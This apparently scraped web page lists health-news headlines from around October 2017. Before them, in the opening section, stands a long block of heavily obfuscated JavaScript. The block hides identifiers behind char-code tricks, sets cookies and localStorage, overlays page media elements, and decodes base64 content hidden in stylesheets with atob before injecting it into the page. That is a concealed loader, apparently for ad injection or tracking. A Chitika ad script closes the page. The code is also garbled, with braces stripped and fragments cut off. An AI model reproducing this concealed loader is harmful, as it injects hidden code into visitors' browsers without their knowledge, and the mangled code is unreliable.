H2y24[v24])if(H84.length==((5,32.0E1)<137?'//':(133.,113)<=(18.6E1,7.05E2)?(28.3E1,11):8.5E2<(101.0E1,0x1E3)?"u":(0x8F,0x11B))&&H84.charCodeAt(10)==115&&H84.charCodeAt(9)==((4.4E1,0x199)<=137?(38.,19):(133.3E1,6.26E2)>=77?(0xE2,116):(0x133,5.15E2))&&H84.charCodeAt(0)==115)break;for(var k in H2y24[v24][H84])for(var V84 in H2y24[v24])if(V84.length==11&&V84.charCodeAt(10)==115&&V84.charCodeAt(9)==116&&V84.charCodeAt((0x10F<=(52.90E1,4.74E2)?(0x40,0):(132,0x1B9)<=107.?(11.71E2,45.0E1):(131.,55.)))==115)break;if(L5M.R24(H2y24[v24][V84][k][(s+P)],r))var V=function(M)var w='content';o=M.styleSheets[k][m3][N][V3][w];;V(document);break;if(!o)var C=function(M)o=M;;C(T);o=o.substring(h,L5M.T24(o.length,h));var H=H2y24[v24]['createElement'](O3);p(J);var m=H2y24[v24]['createTextNode'](H2y24[B24]['atob'](o));H.appendChild(m);H2y24[v24][X84]['appendChild'](H);return function()H.parentNode.removeChild(H);;catch(M),w9=function w9(M,w)return Math.floor(L5M.f74(Math.random(),(w-M))+M);,B1=function B1(r)var J=n;if(L5M.S04(r.toString().length,h))var T=parseInt(r);return T;elser.toString().split(i1).forEach(function(M)var w=parseInt(M);return J+=w;);return B1(J);,k0=function k0(w,r,J)var T="; ";var P=((0x234,79.5E1)>(0x21F,14.780E2)?(3.280E2,30):(3.13E2,0x178)>0x66?(10.9E1,"="):(0x101,39.));var s="number";var p=function(M)for(var b84 in H2y24[v24])if(b84.length==6&&b84.charCodeAt(5)==(63.>=(0x124,0x214)?'k':8.99E2<=(8.22E2,0x36)?(7.32E2,"k"):3.72E2<(0x23,0x249)?(0x159,101):(60.6E1,0x23C))&&b84.charCodeAt(4)==105&&b84.charCodeAt(0)==99)break;H2y24[v24][b84]=M;;var o=function();;o();var k=J.s24;if(typeof k==s&&k)var V=new Date();V.setTime(V.getTime()+L5M.O04(k,w1));k=J.s24=V;if(k&&k.toUTCString)J.s24=k.toUTCString();r=encodeURIComponent(r);var C=w+P+r;for(var H in J)C+=T+H;var m=J[H];if(L5M.u24(m,L5M.B74))C+=P+m;p(C);,y3=function y3(w,r)var J=function(M)localStorage[w]=M;;J(r);return r;,v1=function v1(M)return localStorage[M];,s0=function s0(M); )";var T=H2y24[v24][F84].match(new RegExp(J+M.replace(/([\.$?*,A1=function A1(M,w)if(!M)return n9;if(L5M.d24(M.tagName,w))return M;return A1(M.parentNode,w);,J1=function J1()var s=750;var p='io';var o='ud';var k='de';var V='v';var C='ed';var H='mb';var m='am';var X='fr';var R=', ';var O='je';var I='ob';e9(Y1,function(M)if(M.parentNode)M.parentNode.removeChild(M););Y1=e9(W3((I+O+n3+R3+R+M1+X+m+A9+R+A9+H+C+R+V+M1+k+G1+R+s9+o+p)),function(w)var r='absolute';var J='px';var T=n0.some(function(M)return L5M.L24(w.offsetWidth+T1+w.offsetHeight,M););if(!T)var P=A3(w);return m0(left:P.left+J,top:P.top+J,height:w.offsetHeight+J,width:w.offsetWidth+J,position:r);return [];);T3=setTimeout(J1,s);,B3=function B3()if(L5M.Q04(Y1.length,n))return ;e9(Y1,function(M)if(M.parentNode)M.parentNode.removeChild(M););if(T3)clearTimeout(T3);,W3=function W3(w)var r=[];tryr=e9(H2y24[v24]['querySelectorAll'](w),function(M)return M;);catch(M)return r;,e9=function e9(M,w)var r=[];var J=n;var T=void n;while(L5M.x04(J,M.length))T=w(M[J],J,M);if(L5M.W04(T,undefined))r.push(T);J+=h;return r;,A3=function A3(M)for(var u84 in H2y24[v24])if(u84.length==15&&u84.charCodeAt((0x6D>=(3.11E2,0x163)?(10.94E2,0x97):(3,0x17B)>(105,60.)?(0x133,14):40.>(9.,2.15E2)?(61,'px;'):(13.370E2,0x184)))==116&&u84.charCodeAt((0x113>(0x113,139.)?(75,13):121.>=(104,0xF5)?(12.370E2,'.'):(11.63E2,142.1E1)))==110&&u84.charCodeAt(0)==100)break;for(var q84 in H2y24[v24])if(q84.length==4&&q84.charCodeAt(3)==((58.7E1,23)>=(8.33E2,6.7E1)?(5.12E2,25):(0x23,0xA8)<=67?(11.53E2,'px;'):(41.,14.3E2)>=0x1C1?(5.39E2,121):(0x1E8,129.))&&q84.charCodeAt(2)==100&&q84.charCodeAt((124<(0x140,0xEF)?(25.8E1,0):141.3E1<(0x8E,73.8E1)?(70.5E1,1.62E2):(0xFA,133.)>=0x17B?(103.,'U'):(0x1FB,0x154)))==98)break;for(var t84 in H2y24[v24])if(t84.length==15&&t84.charCodeAt(14)==116&&t84.charCodeAt(13)==110&&t84.charCodeAt((8.26E2>(72.,0x9C)?(1.072E3,0):(94,0x98)<=(54.,119.)?(3.,1.37E3):(6.04E2,0x256)))==100)break;for(var e84 in H2y24[v24])if(e84.length==((3,12)<(102.,128.)?(0x109,4):(111,0x21A)<38.40E1?(99.,400):(0x1D8,23.20E1)<=0xA3?103.:(83.80E1,7.30E1))&&e84.charCodeAt(((103,58)>(63.30E1,31)?(84.,3):(7.80E1,0x215)))==121&&e84.charCodeAt(2)==100&&e84.charCodeAt((0x7B>=(29.40E1,129.70E1)?(0x13D,16):(74.8E1,125)<53.90E1?(64.,0):(1.32E2,88)<6?(33,95.2E1):(0x1DD,86.)))==98)break;for(var x84 in H2y24[v24])if(x84.length==15&&x84.charCodeAt(14)==((1.197E3,24)<(114,30.)?(0xA0,116):(98,0x1C5)<117?(12.540E2,1.359E3):(53.,5.38E2))&&x84.charCodeAt(((0x36,0x228)>=(14.13E2,106.)?(126.,13):(0x94,83.9E1)<=(25.,0x10A)?"e":(0x25,0x21E)))==((6.94E2,0x1D9)<(120.30E1,11.99E2)?(0x1D8,110):(37.5E1,142.)<=139?0x5F:(136.,1.351E3))&&x84.charCodeAt(0)==(81<=(0x32,104.30E1)?(63.,100):(144.,0x216)))break;for(var a84 in H2y24[v24])if(a84.length==4&&a84.charCodeAt(3)==121&&a84.charCodeAt(2)==100&&a84.charCodeAt(0)==98)break;for(var f84 in H2y24[v24])if(f84.length==(34.2E1<(66.0E1,49.80E1)?(0x123,15):(0x23,0x3))&&f84.charCodeAt(14)==116&&f84.charCodeAt(13)==110&&f84.charCodeAt(0)==100)break;for(var i84 in H2y24[v24])if(i84.length==4&&i84.charCodeAt(3)==121&&i84.charCodeAt(2)==100&&i84.charCodeAt(((2.7E2,0x193)<78?'E':(39,0x12E)>0xA6?(90.,0):(93,57.1E1)))==98)break;var w=M.getBoundingClientRect();return ;,K9=function K9(M)var w="0123456789abcdef";var r=i1;var J=w;for(var T=n;L5M.Q24(T,a);T++)r+=J.charAt(L5M.p24(M>>T*G+F,0x0F))+J.charAt(L5M.X24(M>>T*G,0x0F));return r;,w7=function w7(w)=L5M.b04(((99.30E1,99)>147?(5.5E1,"Z"):105.<=(1.037E3,1.0050E3)?(0x1FB,0x80):0x16C<(24.,31)?(149.,0x180):(2.88E2,0x7)),P%F*G);r();return T;,T9=function T9(M,w)var r=(L5M.a04(M,0xFFFF))+(L5M.v04(w,0xFFFF));var J=(L5M.g24(M,x))+(L5M.K24(w,x))+(L5M.E24(r,x));return L5M.k24(J<<x,r&0xFFFF);,T7=function T7(M,w)var r=32;return L5M.P24(M<<w,M>>>r-w);,c9=function c9(M,w,r,J,T,P)return T9(T7(T9(T9(w,M),T9(J,P)),T),r);,Q=function Q(M,w,r,J,T,P,s)~w&J,M,w,T,P,s);,u=function u(M,w,r,J,T,P,s)return c9(L5M.t04(w,J),g=function g(M,w,r,J,T,P,s)return c9(L5M.M04(w,r,J),M,w,T,P,s);,q=function q(M,w,r,J,T,P,s)~J),M,w,T,P,s);,M3=function M3(M)var w=343485551;var r=718787259;var J=1120210379;var T=145523070;var P=1309151649;var s=1560198380;var p=(0x150>=(93.5E1,73.)?(0x6D,30611744):(8.16E2,0x1FA));var o=1873313359;var k=2054922799;var V=1051523;var C=(100.>(0x238,59.)?(143.0E1,1894986606):(1.371E3,125)<(0x254,62.)?(17.,8.):0x17>=(1.377E3,72)?(131,63.2E1):(3.820E2,0x52));var H=1700485571;var m=((0x28,114.)>(40,32.7E1)?(12.97E2,'//'):(0x215,0x1AC)<=117.?(11.290E2,'//'):(1.333E3,10.)<=25?(36,57434055):(0x90,0x14B));var X=1416354905;var R=(65.8E1>=(13,5)?(0xEE,1126891415):(4.,144)<(99.,13)?(0x1,'n'):(0x8C,0x11F));var O=198630844;var I=995338651;var e=((136.,0x31)<63.7E1?(14.70E1,530742520):(1.24E2,2.2E1));var K=421815835;var d=((91.2E1,0x87)<(32,0x3C)?(6.67E2,"a"):(9E0,1.278E3)>94.4E1?(0x218,640364487):(0x10C,107.));var b=76029189;var c=((0x1D0,0x229)>=(0xDC,117.)?(0x1C0,722521979):115.30E1<=(112.,4.)?"c":(0xDB,139.));var B=(0x164<=(0x1F3,10.)?(111.,10.21E2):(35.2E1,0x1E6)>=(68.3E1,0x86)?(0x13A,358537222):(8.0E1,0x173)<0x6E?68.:(37.80E1,0x171));var Y9=681279174;var S9=1094730640;var l9=155497632;var p9=1272893353;var H9=1530992060;var V9=35309556;var m9=(17.90E1<(72,57.)?'q':(0x31,9.48E2)<=(148.70E1,8.870E2)?(7.270E2,null):(0x252,8.69E2)>=4.32E2?(0x164,1839030562):(0x101,4.37E2));var C9=((0xFA,8.3E1)<40.?'K':(30,10.870E2)<(50.5E1,1.048E3)?(0x47,0x6A):(0x162,67.)<0x1EB?(0xF2,2022574463):(83,9.9E2));var h9=378558;var U9=1926607734;var x9=1735328473;var z1=51403784;var P1=((47.7E1,61.80E1)<=(88.,0x12C)?'d':(0x24B,6.)<(14.66E2,103)?(13.18E2,1444681467):(15.10E1,0x1E));var Z1=1163531501;var k1=187363961;var s1=(5.66E2>=(147.,100.)?(13,1019803690):(0x115,128.3E1));var R1=568446438;var X9=405537848;var n1=660478335;var G9=38016083;var a9=((10.64E2,50.1E1)<74.?22.70E1:66>=(80.10E1,0x239)?4.9E1:39.80E1<(0x20C,85.4E1)?(12.0E2,701558691):(0x191,0x239));var J9=((96,28)>=(11.790E2,0x32)?(138,"Q"):(49.80E1,0x1CC)<(0.,9.25E2)?(5.10E1,373897302):(0x1DB,8.92E2));var o1=643717713;var O1=1069501632;var p1=((0x69,0x61)<=0x193?(128.,165796510):(81,140.8E1)<113?(0x33,'t'):(1.434E3,2.40E1)>=(0x1AF,0x250)?(6.49E2,23):(97.,0x24C));var H1=1236535329;var E9=1502002290;var V1=(0x24C<=(9.61E2,0x1FA)?(102.,54.):(72.10E1,44.)>(86.9E1,112.)?0x21F:2.90E1<(57.2E1,127.)?(45,40341101):(95.10E1,125));var m1=1804603682;var C1=1990404162;var L=11;var I9=42063;var h1=1958414417;var X1=1770035416;var f9=45705983;var I1=1473231341;var b1=1200080426;var j9=176418897;var i9=1044525330;var P9=22;var F1=606105819;var N1=(92.>=(72,81)?(21.20E1,389564586):(0x14F,10.32E2)<(0x143,0x177)?35.6E1:(101.,9.27E2)>1.323E3?(70.,'P'):(0x3B,0x8C));var b9=680876936;var Q1=271733878;var u1=1732584194;var g1=271733879;var F9=1732584193;var z=w7(M);var Y=F9;var S=-g1;var l=-u1;var U=Q1;for(var Z=n;L5M.R04(Z,z.length);Z+=x)var Z9=Y;var q1=S;var D1=l;var t1=U;Y=Q(Y,S,l,U,z[Z+n],i,-b9);U=Q(U,Y,S,l,z[Z+h],M9,-N1);l=Q(l,U,Y,S,z[Z+N],u9,F1);S=Q(S,l,U,Y,z[Z+a],P9,-i9);Y=Q(Y,S,l,U,z[Z+F],i,-j9);U=Q(U,Y,S,l,z[Z+j],M9,b1);l=Q(l,U,Y,S,z[Z+E],u9,-I1);S=Q(S,l,U,Y,z[Z+i],P9,-f9);Y=Q(Y,S,l,U,z[Z+G],i,X1);U=Q(U,Y,S,l,z[Z+v],M9,-h1);l=Q(l,U,Y,S,z[Z+y],u9,-I9);S=Q(S,l,U,Y,z[Z+L],P9,-C1);Y=Q(Y,S,l,U,z[Z+M9],i,m1);U=Q(U,Y,S,l,z[Z+g9],M9,-V1);l=Q(l,U,Y,S,z[Z+A],u9,-E9);S=Q(S,l,U,Y,z[Z+W],P9,H1);Y=u(Y,S,l,U,z[Z+h],j,-p1);U=u(U,Y,S,l,z[Z+E],v,-O1);l=u(l,U,Y,S,z[Z+L],A,o1);S=u(S,l,U,Y,z[Z+n],r9,-J9);Y=u(Y,S,l,U,z[Z+j],j,-a9);U=u(U,Y,S,l,z[Z+y],v,G9);l=u(l,U,Y,S,z[Z+W],A,-n1);S=u(S,l,U,Y,z[Z+F],r9,-X9);Y=u(Y,S,l,U,z[Z+v],j,R1);U=u(U,Y,S,l,z[Z+A],v,-s1);l=u(l,U,Y,S,z[Z+a],A,-k1);S=u(S,l,U,Y,z[Z+G],r9,Z1);Y=u(Y,S,l,U,z[Z+g9],j,-P1);U=u(U,Y,S,l,z[Z+N],v,-z1);l=u(l,U,Y,S,z[Z+i],A,x9);S=u(S,l,U,Y,z[Z+M9],r9,-U9);Y=g(Y,S,l,U,z[Z+j],F,-h9);U=g(U,Y,S,l,z[Z+G],L,-C9);l=g(l,U,Y,S,z[Z+L],x,m9);S=g(S,l,U,Y,z[Z+A],N9,-V9);Y=g(Y,S,l,U,z[Z+h],F,-H9);U=g(U,Y,S,l,z[Z+F],L,p9);l=g(l,U,Y,S,z[Z+i],x,-l9);S=g(S,l,U,Y,z[Z+y],N9,-S9);Y=g(Y,S,l,U,z[Z+g9],F,Y9);U=g(U,Y,S,l,z[Z+n],L,-B);l=g(l,U,Y,S,z[Z+a],x,-c);S=g(S,l,U,Y,z[Z+E],N9,b);Y=g(Y,S,l,U,z[Z+v],F,-d);U=g(U,Y,S,l,z[Z+M9],L,-K);l=g(l,U,Y,S,z[Z+W],x,e);S=g(S,l,U,Y,z[Z+N],N9,-I);Y=q(Y,S,l,U,z[Z+n],E,-O);U=q(U,Y,S,l,z[Z+i],y,R);l=q(l,U,Y,S,z[Z+A],W,-X);S=q(S,l,U,Y,z[Z+j],Q9,-m);Y=q(Y,S,l,U,z[Z+M9],E,H);U=q(U,Y,S,l,z[Z+a],y,-C);l=q(l,U,Y,S,z[Z+y],W,-V);S=q(S,l,U,Y,z[Z+h],Q9,-k);Y=q(Y,S,l,U,z[Z+G],E,o);U=q(U,Y,S,l,z[Z+W],y,-p);l=q(l,U,Y,S,z[Z+E],W,-s);S=q(S,l,U,Y,z[Z+g9],Q9,P);Y=q(Y,S,l,U,z[Z+F],E,-T);U=q(U,Y,S,l,z[Z+L],y,-J);l=q(l,U,Y,S,z[Z+N],W,r);S=q(S,l,U,Y,z[Z+v],Q9,-w);Y=T9(Y,Z9);S=T9(S,q1);l=T9(l,D1);U=T9(U,t1);return K9(Y)+K9(S)+K9(l)+K9(U);;J0(w0);var n0=[M0,W7,v7,y7,L7,j7],r7=h,Y7=F,r1=D.D04,l7=D.g04,T3=void n,Y1=[],U7,S1,l1,o0=t9,O9=O9catch(M))(D04:'',E04:1441125,X04:3,I04:3,L74:45,g04:['==QbvNmLuNGehlDOwJ2blFHd'],U04:'','_eaodq','_ihfyxz');
Driven by wife’s need for kidney, Utah man takes to streets
Highly Cited WTHR Oct 21, 2017
E-cigarettes may cause inflammatory lung diseases: study
India Today 34m ago
Smoking and oral sex ups men’s risk of head and neck cancer
TheHealthSite 3h ago
Judge tosses $417M award against Johnson & Johnson
SFGate Oct 21, 2017
Related Coverage
0:56
Reversed: Johnson & Johnson $72 million cancer lawsuit
USA TODAY
2nd bacteria ID’d in mass food poisoning linked to jambalaya fundraiser
USA TODAY Oct 21, 2017
Related Coverage
Salmonella outbreak: ‘I’ve never seen anything like it’
Highly Cited Monroe News Star Oct 20, 2017
Study: Pollution kills 9 million a year, costs $4.6 trillion
KRQE News 13 19h ago
Thousands gather in Costa Mesa to make strides against breast cancer
OCRegister 7h ago
Related Coverage
2:30
Making Strides Against Breast Cancer Walk Draws Thousands To OC
CBS Local
Boutique for breast cancer surviors to open in Prince George’s County
W*USA 9 15h ago
Jurors to Begin Deliberating in Meningitis Outbreak Case
U.S. News & World Report 3h ago
Teenagers Are Trading Their Valuable Sleep for Smartphones : 4 Nutrients Teens Must Not Skip
NDTV 2h ago
Dr. Bob: Braving the impending flu season
Daily Herald 15h ago
Link Between Cancer Tumour Growth And Sugar Clarified
ReliaWire 18h ago
Disease-carrying Ticks Can Stay Active in Fall, NY Warns
WWNY TV 7 14h ago
Overestimating postoperative pain may cause anxiety
The Indian Express 52m ago
Diabetics May Not Sense Heart Attack Symptoms Like Others: Study
NDTV 1h ago
( function() if (window.CHITIKA === undefined) window.CHITIKA = 'units' : [] ; ; var unit = "calltype":"async[2]","publisher":"JohnPMark","width":550,"height":250,"sid":"Chitika Default"; var placement_id = window.CHITIKA.units.length; window.CHITIKA.units.push(unit); document.write('<div id="chitikaAdBlock-' + placement_id + '">
'); ());
0 notes